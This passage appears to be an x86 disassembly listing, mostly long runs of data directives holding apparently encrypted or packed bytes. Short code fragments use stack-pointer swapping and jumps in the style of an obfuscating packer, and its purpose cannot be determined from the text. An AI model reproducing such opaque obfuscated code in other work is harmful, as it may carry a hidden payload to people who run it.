		dd 2CA2C552h, 0BF07D88Dh, 0D009782Eh, 71F0B3CAh, 0FA6067E8h
		dd 48C1BEF9h, 4D88A6B7h, 5619A23Ah, 0A4EA11A1h,	0D0DC1E41h
		dd 0A7DF2E9Bh, 14C53105h, 248D1F4Ah, 2CAB01F6h,	61DE1F6Eh
		dd 2DE0AE34h, 823FE704h, 12Bh, 0ECEFAEA4h, 272C05A6h, 47BB1C03h
		dd 0AE01FADFh, 2D9C22DBh, 5D9EEDA9h, 9D5A85E0h,	0AC5687C3h
		dd 0A5127535h, 98F4839h, 7F0B3F2h, 0E8F17A81h, 372A7069h
		dd 0D2C123B4h, 693BDAB6h, 0FA1F9FD0h, 0E0F9B6F9h, 9482945h
		dd 76F0C9CDh, 3A67F07Eh, 0BF27294Bh, 0BB3C2384h, 76ABD1FDh
		dd 0D53FE645h, 47h, 557918E9h, 0B91475D2h, 0F64DFC18h
		dd 0B989CA97h, 79E1FC18h, 2EC8578Dh, 18B9C889h,	292219FCh
		dd 0B1ACDADBh, 265996ACh, 3F5102A7h, 0AB80FC18h, 0D94AEF12h
		dd 8FC183Fh, 88329733h,	0F3000000h, 254044B0h, 185317B0h
		dd 77D0577Bh, 1FAD2E7h,	0BB3A413Eh, 2F52783Eh, 9A23696Ch
		dd 16422D7h, 0FAA30C38h, 0FEC238F9h, 20B624AFh,	0FAA3D687h
		dd 0FB300FF9h, 0F1B521A0h, 0CF3B0B4Dh, 0F17A810Dh, 4A3A2C84h
		dd 0D277FBFCh, 0F9FAA361h, 8006F1B0h, 4EBBF065h, 0DD1958DBh
		dd 0A3CF80D9h, 2906F9FAh, 34778A90h, 8E1FAC6h, 8720270Bh
		dd 7E0144Bh, 0CF7695E2h, 91798C0Ah, 78E5DFD7h, 5E74D554h
		dd 0F109C97Eh, 0AE561CBAh, 0B9C98A2Fh, 2318FC18h, 88BCA19Ah
		dd 0EA23099h, 0FEB50202h, 0F5B324AFh, 595F98E9h, 0CEA965C2h
		dd 9ED82C4Ah, 139F58A6h, 8CCD6AE6h, 45CF6C8Ch, 5E44B1EEh
		dd 5DA8EEEBh, 46A5E312h, 0B806FE78h, 0EC5D793Fh, 0F75EADEBh
		dd 3, 6E9DA70Fh, 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh
		dd 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0C068243Ch
		dd 89000039h, 8957241Ch, 4C781E7h, 83000000h, 3C8704EFh
		dd 34895C24h, 0AABE5624h, 8905E955h, 24348BF3h,	5404C483h
		dd 8124348Bh, 4C4h, 8B95100h, 1000000h,	2C8153F1h, 0C2313324h
		dd 81018F27h, 0C2313301h, 348B5927h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 0C8h
		dd 99EA43E2h, 5A25B8B7h, 0C50305E9h, 9054E0FFh,	982D3E4Ah
		dd 0BF1F43C7h, 8BBD265Bh, 0D0807AB0h, 0D1684E07h, 0DBAA518Ch
		dd 0EE194FB2h, 0E1056094h, 0BB933A79h, 84960E8Fh, 2A11536Eh
		dd 0A26E1227h, 84474E1Ch, 0F9577DA4h, 1EC00CD6h, 94ED6765h
		dd 0FD1D53F9h, 4EB6132h, 44AD884Dh, 562E9h, 6827400h, 692DA998h
		dd 0D0DC1C6Dh, 3A8077CAh, 6230AD9Ch, 9728CF64h,	0CFB25866h
		dd 2918860Ch, 9EE3EFB3h, 8FB75359h, 0E260D176h,	0CCB1F9F1h
		dd 29696E0Eh, 5A93EAB0h, 0A6579EEDh, 4A8FF218h,	41B6394Ch
		dd 35A1207Bh, 30AB2A71h, 0C80E1B62h, 0C703F364h, 246295D4h
		dd 877FF9C1h, 7B4B0D31h, 4C488CCFh, 0E9BBC39h, 0E1CF5528h
		dd 1BDC8324h, 0C2596597h, 0F3B65C89h, 28198509h, 549FEEB2h
		dd 228C1FA5h, 0FCFE4C38h, 0A2572AB0h, 0B82265E4h, 463E63F4h
		dd 8BF8BC35h, 304E2B32h, 29FC1843h, 0FAC03978h,	1A8D79E1h
		dd 3A050DC7h, 6464h, 696E5E00h,	0C07FD823h, 0E7FC18B9h
		dd 0BF129561h, 6E3A0413h, 99ECAA2Fh, 44043B5Ch,	97E4141Bh
		dd 1C936h, 0AEFD0000h, 59ACEAEFh, 5084CB1Ch, 468E3154h
		dd 39783B42h, 2DAEFDC1h, 6422D59Ch, 94C562E5h, 4DFC18B9h
		dd 0C44ED5F6h, 0C9D70245h, 0A6A039B2h, 307460CEh, 0A55417AAh
		dd 7E4F8C1Fh, 1A8006F3h, 2D6D6E5Ch, 549FEEACh, 73A8E5A3h
		dd 692DA928h, 7F43B7F6h, 93C4652Ch, 42FC18B9h, 42FB8F5h
		dd 0A784CEEh, 0A2C7C3D1h, 6B162035h, 0A6195B3Eh, 155C6D33h
		dd 8ACB6CE4h, 5BFC1861h, 0ED54B7ECh, 3A5AA1EDh,	9C41C8BCh
		dd 333A04E9h, 75h, 0FB6D6E37h, 0AE8EC699h, 8D1855BDh, 0F30A9642h
		dd 0B1FDC9B3h, 18F4C4Ch, 0D3D871FAh, 0D2549483h, 5DECEA27h
		dd 5C06F1CCh, 18557AFBh, 0BBDCABFCh, 7B4CFB8Bh,	86B907F4h
		dd 41B1A207h, 876DFC18h, 8DD8F01Ah, 4180FF9Bh, 40F51096h
		dd 6295DC67h, 39BFC124h, 7417DA4Dh, 45B43A04h, 35000000h
		dd 0A5068272h, 276D6EC1h, 535F9DC4h, 8E66E0C8h,	0E9F5BB20h
		dd 22666EE3h, 317F7C3Fh, 0B73E61EAh, 9821AAF1h,	0B99E94FDh
		dd 4583FC18h, 5982C571h, 19F4724Bh, 0B63A0413h,	8, 3B897033h
		dd 94526BE0h, 0C7266A6Eh, 0CE5D5B9Ch, 208E66E0h, 0B2F6FEB8h
		dd 0A9285945h, 18B94F00h, 10A986FCh, 0D81C3A27h, 0F9E22D6h
		dd 0C10A91CEh, 0B978F95Eh, 0D2A9FC18h, 2545E265h, 0DC01FACDh
		dd 0F522706Dh, 26AA2F96h, 0FAADD081h, 47E001F9h, 0F9FAAD16h
		dd 0CE3B70CFh, 0D8DC185Bh, 0B1261B0Fh, 0ADD79821h, 0A803F9FAh
		dd 6AD8F93h, 673C856h, 52E79AE7h, 4DBCF9FAh, 52EC6DCAh
		dd 5328F9FAh, 0BF953491h, 7E4F2422h, 45B200F4h,	9B2B2C8Dh
		dd 8DFAF9FAh, 74374A50h, 0BEA13A86h, 0A9287339h, 0E3136A30h
		dd 0D8016D59h, 934E34D2h, 383FE635h, 15Ah, 5D7B1802h, 428B12A0h
		dd 79B51215h, 9001FADFh, 0C39D6407h, 4D8EB8D3h,	0AADD0A47h
		dd 91CD8E2Bh, 18DFF9FAh, 44C20B92h, 0CB7DEEFh, 60C1CDCBh
		dd 6BEA3177h, 6D19F46Eh, 0D2B20972h, 1EDF0665h,	0E15E5A9Ah
		dd 3D3E9B9Ah, 0D4F9FA38h, 0E3B1289Fh, 40343E98h, 4430BAF8h
		dd 1FBB01F6h, 0E694BC11h, 0F6F8113Fh, 805AB55Fh, 5953D0E9h
		dd 97000000h, 0D2557918h, 18B91475h, 0E61756FCh, 0BF084DD8h
		dd 0A0891C6Bh, 0FC18B9AFh, 1DBA3EBDh, 0FC18B95Ch, 3A41BEF5h
		dd 2E7D41BBh, 4FB185C5h, 0C004F07Ah, 6DFA6D41h,	25663D1Dh
		dd 42CD1E4Fh, 185BA4E5h, 0BE51C6FCh, 0B58091E1h, 1368BE0Fh
		dd 0E1AD2D6Ch, 939FC2D8h, 0A7000000h, 0D0577B18h, 0FAD2E777h
		dd 3A413E01h, 0A57EEE7Bh, 0AFB226F9h, 912A672Bh, 676329AEh
		dd 0E30BD502h, 474D8ED1h, 0F28521D6h, 0D769EA4Fh, 0C3B8F9FAh
		dd 122A7796h, 4FF9FAD4h, 18C12D19h, 0DE437492h,	6CD277EAh
		dd 0A707E07Bh, 0B1C059C8h, 91F382ACh, 0B9384364h, 44C77A40h
		dd 0D3D972E3h, 0F3D4A3F7h, 0F0C48E68h, 89716FF4h, 0D659C805h
		dd 0D3D9C071h, 815A11F7h, 74B5B91Eh, 0E75C09C9h, 0FCBC2160h
		dd 6740BDFBh, 975F1EA3h, 90498813h, 0D7AF30Ah, 7B18CEBCh
		dd 2E51D057h, 18B9C889h, 992219FCh, 2143230h, 1F6EC502h
		dd 796523D4h, 484E89C8h, 8107F07Fh, 0B9BA1F9Eh,	0B3F9F1E2h
		dd 63D84644h, 3170335Ah, 90F9C2C8h, 38B4FA4Bh, 53F477FAh
		dd 0BB36FDE2h, 0FB634433h, 0A03ABF0Bh, 6E1E055Dh, 4CFDE9DCh
		dd 0A1EE420Eh, 0AE933F74h, 4F00A929h, 86BB364Ch, 0A6297CA9h
		dd 0DAAEB52Fh, 9879C7D9h, 0FB9C649Fh, 0A11EC65Dh, 2F27C5Ah
		dd 0C24543B4h, 0D275E643h, 0DDACBB36h, 87209D19h, 7939BE83h
		dd 6AE33A80h, 0ACFFC337h, 0C4FF22Fh, 52F9C2CEh,	3F3h, 9DA70B00h
		dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh
		dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 124A68F2h
		dd 2C890000h, 61156824h, 4890000h, 0E2895224h, 4C281h
		dd 0EA810000h, 4, 5C241487h, 68242C89h,	708Ch, 0BA241489h
		dd 46C471A0h, 2D2ABAB8h, 5AD03143h, 242C8B54h, 4C481h
		dd 0B9510000h, 8, 189E901h, 81240C8Bh, 4C4h, 242C8B00h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 81582434h
		dd 4C4h, 1FA5E900h, 0CF86FFF9h,	74E46218h, 84F8B25Dh, 0B8C9F42Fh
		dd 5E95FF2h, 0E0FFC503h, 176A2652h, 5B25FD12h, 20B88AA5h
		dd 23A141Ch, 383E7F72h,	4F2C357Ah, 6CC00A6Dh, 4EBF6E0Eh
		dd 746403A0h, 6988574Eh, 2EA7B7D4h, 26D6DFEAh, 164E13A4h
		dd 3F05C065h, 12F65D15h, 38E095CDh, 560C9414h, 37738B7Eh
		dd 7A38576h, 762AC01Bh,	61928D8Dh, 6A05E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0C2CDA3C3h
		dd 2DB48F22h, 0BE98D89h, 0BF0F05E2h, 6185C7D7h,	0C805E207h
		dd 6A00005Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0F210C355h, 5E625AF5h,	9459488h
		dd 0E2219195h, 5585C705h, 5E21Bh, 8B000000h, 0E217CDB5h
		dd 0D9B5FF05h, 8B05E21Fh, 0E22B25BDh, 1595FF05h, 6A05E20Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 1B77C353h, 9F4A6B69h, 0A017DF01h,	0B55231BEh
		dd 48D2BB03h, 6A5B7Bh, 0AB995FFh, 0C08B05E2h, 0B8A71DEBh
		dd 2F600648h, 0D3FBB850h, 89EE7D24h, 26395E75h,	8BA49053h
		dd 939CD373h, 0EB6CC9DFh, 0D86EDA04h, 4F2E96Bh,	27D10000h
		dd 0D2026763h, 8179C8D6h, 25D0913Dh, 0D5067B67h, 0CDB4C3CFh
		dd 19850BF0h, 0E7E3B128h, 4E545882h, 12B8FEFBh,	0C576D352h
		dd 1CF9F1D8h, 696ED511h, 1659D823h, 0CEF903E5h,	0B13232BEh
		dd 13B42144h, 0E5E1AF2Ch, 36555384h, 95464A8Fh,	4A4805D3h
		dd 5F9417F3h, 0A2588FCCh, 0FFBEA11Eh, 0E368B3F7h, 0C430B3DAh
		dd 0BFF9A5C0h, 387E7BC7h, 0D934609h, 0BE6C7DFEh, 18D11CBh
		dd 97F6BA20h, 84E7AD2Ch, 0D374F73Ah, 0FC18B062h, 0A8A90EB3h
		dd 79FC18B0h, 6992D502h, 0ECD8825Bh, 9E5A5C9Eh,	4839A512h
		dd 5716098Fh, 4E8F1EA4h, 0F589D67Dh, 0EEFC18B0h, 0C8058C78h
		dd 673A041Ch, 46h, 773BA1E0h, 696E9056h, 0C07FD823h, 0E7FC18B9h
		dd 0BF129561h, 6C3A0413h, 8, 6D2BAAEDh,	3E0CDD1Eh, 3F22666Eh
		dd 0AA33797Ch, 10944083h, 0D8B4AF5h, 2F2B4FEh, 5E4440B4h
		dd 0B9A8EEEBh, 2CBD03F6h, 0EFAE707Eh, 115AA1EDh, 4E5489C8h
		dd 5FE3743Fh, 0FC811494h, 4A8AB516h, 25873F4Eh,	0AAF8E551h
		dd 1E9C5D2Ch, 894448Fh,	211553FDh, 0E6A25215h, 67CA1C5h
		dd 75D33A05h, 17000000h, 59FB6D6Eh, 0FE7FD862h,	17FC1836h
		dd 46583F58h, 145FAE1Bh, 0C14DD8E4h, 0F778C140h, 2EFC1812h
		dd 0F6CE8851h, 0DA4D5388h, 8952609Bh, 612FAC9Dh, 9E1CDB1Ah
		dd 25A4E50Fh, 1812D384h, 943502FCh, 8A57DAAAh, 0C13A04BCh
		dd 56h,	276D6EE5h, 35796120h, 394465D6h, 857244B6h, 59B3CA07h
		dd 286B17EFh, 5E9FEEB2h, 19A2F0EBh, 0E815A556h,	7B616DDAh
		dd 0A3E7EFAEh, 97307C7Ch, 1D682CA8h, 18B93E34h,	0D1A523FCh
		dd 0D48522A5h, 0DFC18B9h, 0BB07F336h, 54D2EB60h, 3A041379h
		dd 1D6h, 6A6EE800h, 923F8DFAh, 332A7725h, 5D03140Fh, 0AED10EFEh
		dd 61A0EEEFh, 8DA83175h, 10179542h, 5C074891h, 64C5FC18h
		dd 0FC185CF3h, 72C95522h, 7AE4C269h, 0F0BC3C8Ah, 487CE1EAh
		dd 28CE70D9h, 4A2101FAh, 8B47B033h, 0FA402D2Eh,	588FE4F9h
		dd 4F8C1F9Dh, 0AD2C6F12h, 765784E7h, 6228D190h,	40033E1Bh
		dd 0C631F9FAh, 74ECA5C0h, 96148B01h, 464AB0F7h,	0A591DB27h
		dd 0F3C38553h, 975E5287h, 4B3EA411h, 3D7028Eh, 0FA22B5A6h
		dd 0DA176CF9h, 0DF2E7467h, 9BDA219Eh, 0B029585Eh, 6158CCB7h
		dd 23394FFh, 0D3F9FA4Dh, 0F79E2F64h, 0BD09FD7Fh, 2A507E3Ch
		dd 3FE707F7h, 12354h, 0EFAE6E00h, 2F18A1EDh, 0BE1B0E22h
		dd 1FADF40h, 0A7A831B0h, 7EF9FA9Eh, 1562B801h, 0C8A4FF6h
		dd 7A36A386h, 6FEC3F7Dh, 9E1E5FF8h, 7837F9FAh, 8079F803h
		dd 0E953E33Ah, 49EE111Dh, 0F9FA9E08h, 44E962D9h, 0E288C786h
		dd 0FAFF627Bh, 0B56816BCh, 1A3FE652h, 4Fh, 5579182Ch, 0B91475D2h
		dd 2A4DFC18h, 8D4912B6h, 0B2B5E210h, 0A8A59633h, 0C267FC18h
		dd 0FC18A891h, 106FEB40h, 92C3ACB7h, 98FC18A8h,	83C2595Fh
		dd 4D31545Ah, 0E0C53B0Bh, 0CB568E66h, 42C3641Bh, 0F3FC18A8h
		dd 1643498Eh, 7E5988h, 186D0000h, 77D0577Bh, 1FAD2E7h
		dd 0BB3A413Eh, 0EF52783Eh, 0F059ACEAh, 0F9FAA344h, 0EB572F19h
		dd 0F6B9A8EEh, 7B2FB804h, 48FFD370h, 0E0011CEFh, 0E33A7107h
		dd 0E317760h, 0E5008E4Fh, 0EF3E7A7Ah, 8DA8316Eh, 0F1149842h
		dd 0F803894Eh, 0AC14E04Ah, 0D664501Ah, 0C241F257h, 0DB90F7D3h
		dd 242902h, 60C5B801h, 893809C9h, 7C8F15C6h, 64ED6EFFh
		dd 4F24EDACh, 0B5FA6F12h, 6A06EABEh, 580604A5h,	9D5D7B18h
		dd 8E4B8A11h, 378FD08h,	37F653D6h, 7502021Bh, 0A2F9C732h
		dd 0B804F629h, 4BDFE86Dh, 0B126A9FCh, 5D9AEFEBh, 3E257983h
		dd 9ECB490Ch, 1193040Fh, 0B58646A3h, 62036C7Dh,	8B6FA0BDh
		dd 5089F5C1h, 0DB109440h, 0F8D4A3Fh, 48275FCh, 675F19E1h
		dd 79E34EDBh, 0E4D8150h, 4745B2BDh, 0ABF1E65Bh,	0DF150h
		dd 0AE350000h, 0B9C98A2Fh, 2318FC18h, 6E541E9Ah, 96D92C68h
		dd 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h
		dd 0C1009B21h, 0CF769519h, 0F2788307h, 815D5455h, 4C5h
		dd 4ED8300h, 5C242C87h,	0B4C68h, 241C8900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 51243489h, 54F6F68h, 0E1C1592Ah
		dd 3E1C107h, 0A5BFC181h, 5B51F0ABh, 2F196859h, 24890000h
		dd 24048324h, 57535E04h, 0AF2D55BFh, 247C314Eh,	468F5F04h
		dd 8768108h, 4EAF2D55h,	5724348Bh, 0C781E789h, 4, 4C781h
		dd 3C870000h, 1C8B5C24h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 1969E95Ch, 502AFFF9h, 0BB776DEDh,	0E96619B8h
		dd 0FFC50305h, 3E58B7E0h, 0AE40BE78h, 111DAE13h, 3DAE2D05h
		dd 0BA41E14Fh, 20380413h, 9F11D476h, 0EAAD9856h, 35A2A314h
		dd 5DBFFD73h, 6E859512h, 0AF3EE665h, 0D397BC0Ch, 7725C858h
		dd 46BC2D69h, 7EAB0B17h, 9BAFD505h, 86158D4Dh, 797BBB06h
		dd 50038958h, 0FB4C7868h, 4B52F33Ch, 594E7C43h,	5B527F54h
		dd 0ADC99F04h, 9D9A2C0Fh, 0F4370A53h, 0F2859244h, 6853FC2Eh
		dd 7B04EB6Dh, 0E90C3E1Eh, 526h,	0F9E5A157h, 42484C88h
		dd 2BB7FBFFh, 0FD199F56h, 45414F8Ch, 8576472Eh,	2BAE933Fh
		dd 0D2087965h, 7861C0CEh, 59A89432h, 0F1DE7FF0h, 2FEF96F9h
		dd 0D823696Eh, 0B05E6499h, 7B8208F1h, 397D7938h, 115069E2h
		dd 0D85BA2E8h, 0CD585E99h, 0C4303F88h, 2D2E8B0Ah, 0E4FC18B9h
		dd 0B9BDBE8Fh, 1F54FC18h, 0E1185BA2h, 0D10948D3h, 0E85EBECDh
		dd 0E4A6A41Ch, 7735A210h, 0D8E4166Bh, 18D4F32h,	0D62EBBFAh
		dd 24ADA156h, 0DB02604Eh, 0B0ED772Ah, 0E3B12817h, 40343E98h
		dd 858408F2h, 749715C2h, 4120E6C7h, 0AE8B1298h,	0FC18C390h
		dd 20D99889h, 2D19419Ah, 48D27FAh, 6B843Ah, 42050000h
		dd 0F6B41593h, 0D823696Eh, 18B9C07Fh, 9561E7FCh, 6234A6E9h
		dd 9BD02B79h, 34E99D2Eh, 993A0413h, 43A2100h, 1840B2A3h
		dd 31463FCh, 3394A6E3h,	6CEh, 0D1084B00h, 6E0CFAC3h, 98DB2266h
		dd 42CD585Ch, 0B9F566C3h, 572CFC18h, 8E0CCB76h,	8400F47Fh
		dd 0B5FBFE61h, 0AA9ADC56h, 9E96D056h, 0FAE0A450h, 4E545287h
		dd 276D6E80h, 0DB1A5DC4h, 0D6074EDDh, 74A93C8h,	2B0CBCFh
		dd 7D7ECCB8h, 81FEBC3Dh, 0F5B32405h, 2DACEF96h,	0DF1B4667h
		dd 99C22D9h, 0D19097CCh, 3D586125h, 2E615593h, 3A041203h
		dd 0CECC0B4Ah, 0FAC634BFh, 7AF73C8Dh, 0CB000000h, 0C4276D6Eh
		dd 0CA515D9Dh, 0C8360E48h, 0E0018D13h, 2B7238A1h, 4069D37Eh
		dd 0BCE9E686h, 0E9B7242Bh, 0E6A45392h, 0BFB7D87h, 44E5984h
		dd 67F63Ah, 30730000h, 4E2FBC9h, 0C98A2FAEh, 18FC18B9h
		dd 26D79A23h, 31A6E998h, 88CB526Bh, 0DD3F4E52h,	0ACEAEDACh
		dd 0B95B1CBDh, 0BD8AFC18h, 2452222Ch, 0D02B7765h, 0DE1F429Bh
		dd 0BF63080Ch, 0A7B0B02Fh, 35818862h, 616DDA52h, 22666E7Bh
		dd 0B9C07EDBh, 6FD9FC18h, 13BD1097h, 87103A04h,	2B39D56Ah
		dd 9A07A092h, 1, 266A6EACh, 5D5B9CC7h, 0FEA1E0CEh, 2C16B7FDh
		dd 0A2EEEA58h, 3A2E3324h, 32238407h, 0E3FC18B9h, 6BCC3394h
		dd 1FACDDBh, 0A72E7DCAh, 64F57432h, 0F3C0B827h,	5B4F9889h
		dd 50ABF1E6h, 0FA1E78F7h, 4D392FF9h, 14B2F8E1h,	0E9ECA455h
		dd 0A61358A3h, 0DDDB1C47h, 9F003DAAh, 9B98A01Bh, 3FB83B42h
		dd 3AA32279h, 8FC91174h, 4C2D41B7h, 31EB6CCDh, 4D3AF9FAh
		dd 0B402F27Ch, 3874F43h, 980673F8h, 1041E669h, 0C1F9FA31h
		dd 0F8D5516Ah, 573FE69Bh, 120h,	577B186Bh, 0DF3B77D0h
		dd 64901FAh, 9014C0CEh,	2F04825Bh, 0FA6495DCh, 0F49FCD6h
		dd 2BB7EC48h, 801BA156h, 6F129841h, 620A4BECh, 6CDBF9FAh
		dd 3882305Bh, 0B3F9FE4Ch, 0EEB46917h, 56193FE6h, 43C0199Fh
		dd 4Eh,	55791867h, 0ADD045D2h, 181F1F5Bh, 9EC140CFh, 2D76575Dh
		dd 0FC186DFCh, 0C8A4F0Eh, 7DDA6FBBh, 0FC186DFCh, 9AE15E15h
		dd 9F1DD89Bh, 95FECF0Ch, 0FC186DA4h, 32B282C4h,	0AF083F2Fh
		dd 0FC186D7Eh, 0AF32D897h, 90h,	0E1AD2D6Ch, 7B18E2D8h
		dd 0B93B3C9Dh, 9DEAFC18h, 7D7E2120h, 0F667D437h, 100A0AFDh
		dd 53DEEFDFh, 0FA8064F6h, 0A5C0BF01h, 0D3FFBD3Ah, 0D823696Eh
		dd 0FAD1C57Fh, 0D8AC9AF9h, 0B5256D6Ah, 2516BCE9h, 92151438h
		dd 0D585B613h, 0ED5CF9FAh, 1D5EADE9h, 51BE07A0h
		dd 0B807E04Ch, 6DAFA009h, 966F7D3h, 0D23CADDCh,	0D2D94968h
		dd 0A546A5B6h, 4F7DE021h, 6B6CD77Eh, 76F0DE2Dh,	0F5D9467Eh
		dd 4688D572h, 0AA8109C9h, 1BDA9D2Ch, 0C05B5F97h, 0B98D5E8Bh
		dd 0C98A2FAEh, 18FC18B9h, 0BCA19A23h, 0D3309988h, 21020220h
		dd 0EA31777Eh, 75C25861h, 6C2AAF16h, 0D0D60366h, 0C8892E51h
		dd 19F9F1DEh, 95F29922h, 194BFFh, 0A784C0Eh, 0BEC3CFCDh
		dd 70DF2529h, 0D8EB66D7h, 57C0BFF3h, 0EEFF2424h, 0D5307663h
		dd 3A2D6B6Ah, 0B65D1EBBh, 0B5F4F3D8h, 0A82D7846h, 0E7C36A73h
		dd 0A0CA2DBAh, 83CFB4B5h, 0F644303Ah, 1384BB01h, 7DDA1C87h
		dd 0F3D8BCFCh, 0A33D5E15h, 0FCE120DBh, 0C5E657B6h, 317760C1h
		dd 178BEAh, 89080000h, 0D8B12F20h, 3089E6F3h, 8A2FAE4Ah
		dd 0FC18B9C9h, 1E9A2318h, 2C686E54h, 5B6196D9h,	575B81C0h
		dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
		dd 8307CF76h, 0EC81F278h, 4, 57242489h,	4BFh, 247C0100h
		dd 9685F04h, 8900004Ah,	8957242Ch, 4C781E7h, 83000000h
		dd 3C8704EFh, 3C895C24h, 75B95124h, 0C1078524h,	0D1F707E1h
		dd 49ABF181h, 0C1815BD0h, 28FB143Fh, 25C18141h,	897630C6h
		dd 240C8BCDh, 4C481h, 5A680000h, 8900003Eh, 4832424h, 555F0424h
		dd 2C44BD55h, 6C3126ECh, 8F5D0424h, 77810847h, 0EC2C4408h
		dd 2434FF26h, 4C4815Fh,	0FF000000h, 815D2434h, 4C4h, 13BDE900h
		dd 8A1FFFF9h, 78CE0FB2h, 0C3B8F27Eh, 305E96Bh, 98E0FFC5h
		dd 0AF458831h, 0E95657AEh, 1257C0Fh, 0C1430955h, 0E344485Dh
		dd 0D78D33Fh, 0B823BB0Fh, 0E40FAF8h, 0C52F266Fh, 9C648766h
		dd 0DD230AF4h, 7B306C50h, 906274CBh, 0FC454C5Ah, 0EB2B7F15h
		dd 290A9104h, 528E902h,	17C10000h, 0C2327793h, 7169D8C6h
		dd 15C0A12Dh, 0C5360B97h, 0BDA4D3FFh, 29B5FBE0h, 0F713A158h
		dd 5E4448B2h, 22A8EEEBh, 0F566C322h, 2CF9F1D5h,	696EA561h
		dd 6499D823h, 8F1B05Eh,	3D484C88h, 0B93843B8h, 0A0237A40h
		dd 0D949AC34h, 0A3D28324h, 3403FC18h, 10202723h, 98C240DBh
		dd 0CF995EACh, 0BF45D6F6h, 1859FEC6h, 0C9FC1892h, 13C20572h
		dd 0CFB25895h, 99E810Dh, 0EA0AA239h, 6238811Bh,	4AD1DD1Fh
		dd 0BBC2D00Bh, 0A8F3C138h, 9CEFB329h, 0C43C0832h, 9B3CBFE2h
		dd 0FC187CDAh, 0A3AB3C0Bh, 297567D3h, 9D1BDCADh, 632FABEAh
		dd 630AD318h, 187C6806h, 0FFF771FCh, 0C1C73073h, 0D88F42F8h
		dd 7F3E3A04h, 66AB3C7Ah, 83h, 23696E58h, 352EAB3Ch, 5573BED5h
		dd 0F180E974h, 0F6FC1817h, 0D00D8470h, 7F3A04C1h, 1, 0E8666E43h
		dd 18B90E4Fh, 3968C7FCh, 7883F8BEh, 86B9FDF9h, 728915C7h
		dd 4F5586F9h, 696CD77Eh, 1CBD3C23h, 0FC18B95Bh,	0E2EE4587h
		dd 29355D86h, 63E28952h, 0B9D63579h, 69E997B6h,	5383C6B6h
		dd 0C4E3457h, 0DF42C038h, 0CA515F9Ch, 463E3881h, 12B8FCF8h
		dd 8ACB6CEFh, 5BFC18C2h, 6394DBECh, 6EB3B925h, 9DC4276Dh
		dd 2EA25759h, 18B9C889h, 0F52219FCh, 0E0AE2F96h, 972F7EABh
		dd 0E8156155h, 8C4D3CDAh, 35B4FF0Eh, 18B9A394h,	0A40572FCh
		dd 2A713DBDh, 18632FABh, 619523D9h, 529DE825h, 5586E5A3h
		dd 49AF8721h, 42C5B137h, 3A04119Fh, 552Ch, 6D6E1600h, 5D9DC427h
		dd 0CA58718Dh, 2865D406h, 1F1751DDh, 7E642AD3h,	0B9CCD20Bh
		dd 0A2F9BF36h, 0B9F0C402h, 3A045F74h, 226040D9h, 0EBDB28DFh
		dd 37ADD2h, 6E910000h, 9DC4276Dh, 0E0C8535Fh, 0BB208E66h
		dd 0D958E9F5h, 18B9FF70h, 0A35316FCh, 1A5784E7h, 666EE5C1h
		dd 0C07EDB22h, 0D9FC18B9h, 0BD10976Fh, 123A0413h, 1, 266A6E54h
		dd 34786023h, 90498893h, 0B1D4D800h, 52BCCF04h,	4A0BAC2Fh
		dd 9BFC18B9h, 63531BACh, 0A8DFE317h, 3E17613Fh,	1F952F8Ah
		dd 78C128F4h, 0BE28219Eh, 42FF4D9Eh, 94474364h,	3A4DB8Fh
		dd 1FA6263h, 8D13C689h,	0F4378Ch, 714AB3A5h, 561C8215h
		dd 22AFA009h, 966F9FAh,	0A8964300h, 30A92873h, 0DC1D6C6Ah
		dd 4FE24FDEh, 7DF9FA32h, 67EE3D79h, 0CD13472h, 0AA067A4Ah
		dd 0FBBAC8BCh, 62D374FCh, 0B3F9FA32h, 333E8FC4h, 0A7DAC0C6h
		dd 53AAF6E4h, 599EC11Ah, 2AAD2C53h, 0FA32CC8Dh,	1D2E05F9h
		dd 0F9FA325Ch, 7A46B4F5h, 6C7DAA23h, 53599EC1h,	4430BAC8h
		dd 1FBB01F6h, 682EABEAh, 9EF62B5Fh, 20553FE6h, 69000001h
		dd 0D0577B18h, 0FADF3B77h, 62E55201h, 0E8AC9FF5h, 0B5251994h
		dd 2BBCE9h, 749218C1h, 0A7C6C435h, 33B06BFCh, 407FAF57h
		dd 0B9FFF867h, 0EE51D062h, 0DB5AA1E7h, 0FA1BFD7Eh, 0E25F14F9h
		dd 59A591D9h, 6591D0A0h, 0C891DA21h, 0F9FA1B87h, 2EB4E15Eh
		dd 0E6B5AD60h, 5F023Fh,	18240000h, 45D25579h, 0FEFFAF7Eh
		dd 77E055B0h, 9F28CD97h, 0EF56B710h, 0B08FFC18h, 0EE4B0C55h
		dd 9841FC18h, 90488B12h, 11B6F90Ch, 0FC18EE20h,	0F274BAF1h
		dd 2129BE02h, 0B8B02955h, 67E87103h, 0BEFC1864h, 0A32C48C1h
		dd 65800ECDh, 4922BBF0h, 0C663E6C6h, 0FC183945h, 0C61B87FCh
		dd 67h,	577B18FCh, 0D2E777D0h, 9D3E01FAh, 2F59A6FEh, 54B7EC77h
		dd 20AEECEDh, 6F129841h, 85E0AC2Ch, 83EC7750h, 0F9FA00E9h
		dd 76C4B0B6h, 0DC9F3B81h, 4BEC93B7h, 7E09D68h, 34BFCEA5h
		dd 870BCFC3h, 63BAF764h, 5DE9DD87h, 49DCE01Ah, 5DC2BB0Ch
